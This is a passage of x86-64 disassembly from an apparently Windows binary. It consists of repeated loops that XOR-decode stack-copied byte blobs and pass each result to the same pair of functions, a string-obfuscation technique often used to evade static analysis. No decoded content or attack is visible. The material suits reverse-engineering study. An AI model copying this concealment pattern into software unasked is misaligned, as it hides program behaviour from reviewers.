movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x57
xor byte [rsp + r9 + 0x3167], al
lea ecx, [r8 + 0x1f]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x58
xor byte [rsp + r9 + 0x3168], al
lea ecx, [r8 + 0x20]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x59
xor byte [rsp + r9 + 0x3169], al
lea ecx, [r8 + 0x21]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x5a
xor byte [rsp + r9 + 0x316a], al
lea ecx, [r8 + 0x22]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x5b
xor byte [rsp + r9 + 0x316b], al
lea ecx, [r8 + 0x23]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x5c
xor byte [rsp + r9 + 0x316c], al
lea ecx, [r8 + 0x24]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x5d
xor byte [rsp + r9 + 0x316d], al
lea ecx, [r8 + 0x25]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x5e
xor byte [rsp + r9 + 0x316e], al
add r10d, 0x28
cmp r10d, 0x78
jl 0x1400f20d0
lea rdx, [rsp + 0x3147]
lea rcx, [rsp + 0xf48]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be2f0]
vmovups ymmword [rsp + 0x4051], ymm0
vmovups ymm1, ymmword [0x1401be310]
vmovups ymmword [rsp + 0x4071], ymm1
vmovups ymm0, ymmword [0x1401be330]
vmovups ymmword [rsp + 0x4091], ymm0
vmovups ymm1, ymmword [0x1401be350]
vmovups ymmword [rsp + 0x40b1], ymm1
vmovups xmm0, xmmword [0x1401be370]
vmovups xmmword [rsp + 0x40d1], xmm0
vmovsd xmm0, qword [0x1401be380]
vmovsd qword [rsp + 0x40e1], xmm0
mov eax, dword [0x1401be388]
mov dword [rsp + 0x40e9], eax
xor r8d, r8d
lea r9, [rsp + 0x4051]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x1400f2840
lea rdx, [rsp + 0x4051]
lea rcx, [rsp + 0xf68]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be390]
vmovups ymmword [rsp + 0x3949], ymm0
vmovups ymm1, ymmword [0x1401be3b0]
vmovups ymmword [rsp + 0x3969], ymm1
vmovups ymm0, ymmword [0x1401be3d0]
vmovups ymmword [rsp + 0x3989], ymm0
vmovups ymm1, ymmword [0x1401be3f0]
vmovups ymmword [rsp + 0x39a9], ymm1
vmovups xmm0, xmmword [0x1401be410]
vmovups xmmword [rsp + 0x39c9], xmm0
movzx eax, word [0x1401be420]
mov word [rsp + 0x39d9], ax
xor r8d, r8d
lea r9, [rsp + 0x3949]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x92
jl 0x1400f2910
lea rdx, [rsp + 0x3949]
lea rcx, [rsp + 0xf88]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be430]
vmovups ymmword [rsp + 0x3cbd], ymm0
vmovups ymm1, ymmword [0x1401be450]
vmovups ymmword [rsp + 0x3cdd], ymm1
vmovups ymm0, ymmword [0x1401be470]
vmovups ymmword [rsp + 0x3cfd], ymm0
vmovups ymm1, ymmword [0x1401be490]
vmovups ymmword [rsp + 0x3d1d], ymm1
vmovups xmm0, xmmword [0x1401be4b0]
vmovups xmmword [rsp + 0x3d3d], xmm0
mov eax, dword [0x1401be4c0]
mov dword [rsp + 0x3d4d], eax
movzx eax, word [0x1401be4c4]
mov word [rsp + 0x3d51], ax
movzx eax, byte [0x1401be4c6]
mov byte [rsp + 0x3d53], al
xor r8d, r8d
lea r9, [rsp + 0x3cbd]
nop
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x1400f29f0
lea rdx, [rsp + 0x3cbd]
lea rcx, [rsp + 0xfa8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
lea rdx, [rsp + 0x422a]
lea rcx, [rdi + 0x1be4d0]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups ymm0, ymmword [rcx + 0x20]
vmovups ymmword [rdx + 0x20], ymm0
vmovups ymm0, ymmword [rcx + 0x40]
vmovups ymmword [rdx + 0x40], ymm0
vmovups ymm0, ymmword [rcx + 0x60]
vmovups ymmword [rdx + 0x60], ymm0
vmovups ymm0, ymmword [rcx + 0x80]
vmovups ymmword [rdx + 0x80], ymm0
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0xa0], rax
movzx eax, byte [rcx + 0xa8]
mov byte [rdx + 0xa8], al
xor r8d, r8d
lea r9, [rsp + 0x422a]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa9
jl 0x1400f2ab0
lea rdx, [rsp + 0x422a]
lea rcx, [rsp + 0xfc8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be580]
vmovups ymmword [rsp + 0x39db], ymm0
vmovups ymm1, ymmword [0x1401be5a0]
vmovups ymmword [rsp + 0x39fb], ymm1
vmovups ymm0, ymmword [0x1401be5c0]
vmovups ymmword [rsp + 0x3a1b], ymm0
vmovups ymm1, ymmword [0x1401be5e0]
vmovups ymmword [rsp + 0x3a3b], ymm1
vmovups xmm0, xmmword [str.____wv]
vmovups xmmword [rsp + 0x3a5b], xmm0
movzx eax, word [0x1401be610]
mov word [rsp + 0x3a6b], ax
xor r8d, r8d
lea r9, [rsp + 0x39db]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x92
jl 0x1400f2b80
lea rdx, [rsp + 0x39db]
lea rcx, [rsp + 0xfe8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be620]
vmovups ymmword [rsp + 0x3e83], ymm0
vmovups ymm1, ymmword [0x1401be640]
vmovups ymmword [rsp + 0x3ea3], ymm1
vmovups ymm0, ymmword [str.__62_:_.]
vmovups ymmword [rsp + 0x3ec3], ymm0
vmovups ymm1, ymmword [0x1401be680]
vmovups ymmword [rsp + 0x3ee3], ymm1
vmovups xmm0, xmmword [0x1401be6a0]
vmovups xmmword [rsp + 0x3f03], xmm0
vmovsd xmm0, qword [0x1401be6b0]
vmovsd qword [rsp + 0x3f13], xmm0
movzx eax, byte [0x1401be6b8]
mov byte [rsp + 0x3f1b], al
xor r8d, r8d
lea r9, [rsp + 0x3e83]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x1400f2c60
lea rdx, [rsp + 0x3e83]
lea rcx, [rsp + 0x1008]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be6c0]
vmovups ymmword [rsp + 0x3556], ymm0
vmovups ymm1, ymmword [0x1401be6e0]
vmovups ymmword [rsp + 0x3576], ymm1
vmovups ymm0, ymmword [str.7__]
vmovups ymmword [rsp + 0x3596], ymm0
vmovups ymm1, ymmword [0x1401be720]
vmovups ymmword [rsp + 0x35b6], ymm1
vmovsd xmm0, qword [0x1401be740]
vmovsd qword [rsp + 0x35d6], xmm0
mov eax, dword [0x1401be748]
mov dword [rsp + 0x35de], eax
movzx eax, word [0x1401be74c]
mov word [rsp + 0x35e2], ax
xor r8d, r8d
lea r9, [rsp + 0x3556]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8e
jl 0x1400f2d31
lea rdx, [rsp + 0x3556]
lea rcx, [rsp + 0x1028]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be750]
vmovups ymmword [rsp + 0x3d54], ymm0
vmovups ymm1, ymmword [0x1401be770]
vmovups ymmword [rsp + 0x3d74], ymm1
vmovups ymm0, ymmword [0x1401be790]
vmovups ymmword [rsp + 0x3d94], ymm0
vmovups ymm1, ymmword [0x1401be7b0]
vmovups ymmword [rsp + 0x3db4], ymm1
vmovups xmm0, xmmword [0x1401be7d0]
vmovups xmmword [rsp + 0x3dd4], xmm0
mov eax, dword [0x1401be7e0]
mov dword [rsp + 0x3de4], eax
movzx eax, word [0x1401be7e4]
mov word [rsp + 0x3de8], ax
movzx eax, byte [0x1401be7e6]
mov byte [rsp + 0x3dea], al
xor r8d, r8d
lea r9, [rsp + 0x3d54]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x1400f2e10
lea rdx, [rsp + 0x3d54]
lea rcx, [rsp + 0x1048]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be7f0]
vmovups ymmword [rsp + 0x3deb], ymm0
vmovups ymm1, ymmword [0x1401be810]
vmovups ymmword [rsp + 0x3e0b], ymm1
vmovups ymm0, ymmword [str.__1]
vmovups ymmword [rsp + 0x3e2b], ymm0
vmovups ymm1, ymmword [0x1401be850]
vmovups ymmword [rsp + 0x3e4b], ymm1
vmovups xmm0, xmmword [0x1401be870]
vmovups xmmword [rsp + 0x3e6b], xmm0
vmovsd xmm0, qword [0x1401be880]
vmovsd qword [rsp + 0x3e7b], xmm0
xor r8d, r8d
lea r9, [rsp + 0x3deb]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x98
jl 0x1400f2ee0
lea rdx, [rsp + 0x3deb]
lea rcx, [rsp + 0x1068]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be890]
vmovups ymmword [rsp + 0x40ed], ymm0
vmovups ymm1, ymmword [0x1401be8b0]
vmovups ymmword [rsp + 0x410d], ymm1
vmovups ymm0, ymmword [0x1401be8d0]
vmovups ymmword [rsp + 0x412d], ymm0
vmovups ymm1, ymmword [0x1401be8f0]
vmovups ymmword [rsp + 0x414d], ymm1
vmovups xmm0, xmmword [0x1401be910]
vmovups xmmword [rsp + 0x416d], xmm0
vmovsd xmm0, qword [0x1401be920]
vmovsd qword [rsp + 0x417d], xmm0
mov eax, dword [0x1401be928]
mov dword [rsp + 0x4185], eax
movzx eax, byte [0x1401be92c]
mov byte [rsp + 0x4189], al
xor r8d, r8d
lea r9, [rsp + 0x40ed]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9d
jl 0x1400f2fc1
lea rdx, [rsp + 0x40ed]
lea rcx, [rsp + 0x1088]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be930]
vmovups ymmword [rsp + 0x3fb6], ymm0
vmovups ymm1, ymmword [0x1401be950]
vmovups ymmword [rsp + 0x3fd6], ymm1
vmovups ymm0, ymmword [0x1401be970]
vmovups ymmword [rsp + 0x3ff6], ymm0
vmovups ymm1, ymmword [0x1401be990]
vmovups ymmword [rsp + 0x4016], ymm1
vmovups xmm0, xmmword [0x1401be9b0]
vmovups xmmword [rsp + 0x4036], xmm0
vmovsd xmm0, qword [0x1401be9c0]
vmovsd qword [rsp + 0x4046], xmm0
movzx eax, word [0x1401be9c8]
mov word [rsp + 0x404e], ax
movzx eax, byte [0x1401be9ca]
mov byte [rsp + 0x4050], al
xor r8d, r8d
lea r9, [rsp + 0x3fb6]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9b
jl 0x1400f30b0
lea rdx, [rsp + 0x3fb6]
lea rcx, [rsp + 0x10a8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be9d0]
vmovups ymmword [rsp + 0x2083], ymm0
vmovsd xmm0, qword [0x1401be9f0]
vmovsd qword [rsp + 0x20a3], xmm0
movzx eax, byte [0x1401be9f8]
mov byte [rsp + 0x2083], 0x52
xor byte [rsp + 0x2084], 0x38
xor byte [rsp + 0x2085], 0x39
xor byte [rsp + 0x2086], 0x3a
xor byte [rsp + 0x2087], 0x3b
xor byte [rsp + 0x2088], 0x3c
xor byte [rsp + 0x2089], 0x3d
xor byte [rsp + 0x208a], 0x3e
xor byte [rsp + 0x208b], 0x3f
xor byte [rsp + 0x208c], 0x40
xor byte [rsp + 0x208d], 0x41
xor byte [rsp + 0x208e], 0x42
xor byte [rsp + 0x208f], 0x43
xor byte [rsp + 0x2090], 0x44
xor byte [rsp + 0x2091], 0x45
xor byte [rsp + 0x2092], 0x46
xor byte [rsp + 0x2093], 0x47
xor byte [rsp + 0x2094], 0x48
xor byte [rsp + 0x2095], 0x49
xor byte [rsp + 0x2096], 0x4a
xor byte [rsp + 0x2097], 0x4b
xor byte [rsp + 0x2098], 0x4c
xor byte [rsp + 0x2099], 0x4d
xor byte [rsp + 0x209a], 0x4e
xor byte [rsp + 0x209b], 0x4f
xor byte [rsp + 0x209c], 0x50
xor byte [rsp + 0x209d], 0x51
xor byte [rsp + 0x209e], 0x52
xor byte [rsp + 0x209f], 0x53
xor byte [rsp + 0x20a0], 0x54
xor byte [rsp + 0x20a1], 0x55
xor byte [rsp + 0x20a2], 0x56
xor byte [rsp + 0x20a3], 0x57
xor byte [rsp + 0x20a4], 0x58
xor byte [rsp + 0x20a5], 0x59
xor byte [rsp + 0x20a6], 0x5a
xor byte [rsp + 0x20a7], 0x5b
xor byte [rsp + 0x20a8], 0x5c
xor byte [rsp + 0x20a9], 0x5d
xor byte [rsp + 0x20aa], 0x5e
xor al, 0x5f
mov byte [rsp + 0x20ab], al
lea rdx, [rsp + 0x2083]
lea rcx, [rsp + 0x10c8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bea00]
vmovups ymmword [rsp + 0x2ed6], ymm0
vmovups ymm1, ymmword [0x1401bea20]
vmovups ymmword [rsp + 0x2ef6], ymm1
vmovups xmm0, xmmword [0x1401bea40]
vmovups xmmword [rsp + 0x2f16], xmm0
mov eax, dword [0x1401bea50]
mov dword [rsp + 0x2f26], eax
movzx eax, word [0x1401bea54]
mov word [rsp + 0x2f2a], ax
movzx eax, byte [0x1401bea56]
mov byte [rsp + 0x2f2c], al
xor r10d, r10d
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x2ed6], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x2ed7], al
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x2ed8], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x2ed9], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2eda], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x2edb], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x2edc], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x2edd], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x2ede], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x2edf], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x2ee0], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x2ee1], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x2ee2], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x2ee3], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x2ee4], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x2ee5], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x2ee6], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x2ee7], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x2ee8], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x2ee9], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x2eea], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x2eeb], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x2eec], al
lea ecx, [r8 + 0x15]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x2eed], al
lea ecx, [r8 + 0x16]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x2eee], al
lea ecx, [r8 + 0x17]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x2eef], al
lea ecx, [r8 + 0x18]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x2ef0], al
lea ecx, [r8 + 0x19]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r10 + 0x2ef1], al
lea ecx, [r8 + 0x1a]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x53
xor byte [rsp + r10 + 0x2ef2], al
add r10d, 0x1d
cmp r10d, 0x57
jl 0x1400f3300
lea rdx, [rsp + 0x2ed6]
lea rcx, [rsp + 0x10e8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bea60]
vmovups ymmword [rsp + 0x2f89], ymm0
vmovups ymm1, ymmword [0x1401bea80]
vmovups ymmword [rsp + 0x2fa9], ymm1
vmovups xmm0, xmmword [0x1401beaa0]
vmovups xmmword [rsp + 0x2fc9], xmm0
vmovsd xmm0, qword [0x1401beab0]
vmovsd qword [rsp + 0x2fd9], xmm0
mov eax, dword [0x1401beab8]
mov dword [rsp + 0x2fe1], eax
movzx eax, word [0x1401beabc]
mov word [rsp + 0x2fe5], ax
xor r8d, r8d
lea r9, [rsp + 0x2f8a]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
add r8d, ebx
lea r9, [r9 + 2]
cmp r8d, 0x5e
jl 0x1400f3880
lea rdx, [rsp + 0x2f89]
lea rcx, [rsp + 0x1108]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401beac0]
vmovups ymmword [rsp + 0x2e2f], ymm0
vmovups ymm1, ymmword [0x1401beae0]
vmovups ymmword [rsp + 0x2e4f], ymm1
vmovups xmm0, xmmword [0x1401beb00]
vmovups xmmword [rsp + 0x2e6f], xmm0
movzx eax, word [0x1401beb10]
mov word [rsp + 0x2e7f], ax
movzx eax, byte [0x1401beb12]
mov byte [rsp + 0x2e81], al
xor r8d, r8d
lea r9, [rsp + 0x2e2f]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x53
jl 0x1400f3960
lea rdx, [rsp + 0x2e2f]
lea rcx, [rsp + 0x1128]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401beb20]
vmovups ymmword [rsp + 0x2f2d], ymm0
vmovups ymm1, ymmword [0x1401beb40]
vmovups ymmword [rsp + 0x2f4d], ymm1
vmovups xmm0, xmmword [0x1401beb60]
vmovups xmmword [rsp + 0x2f6d], xmm0
vmovsd xmm0, qword [0x1401beb70]
vmovsd qword [rsp + 0x2f7d], xmm0
mov eax, dword [0x1401beb78]
mov dword [rsp + 0x2f85], eax
xor r10d, r10d
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x2f2d], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x2f2e], al
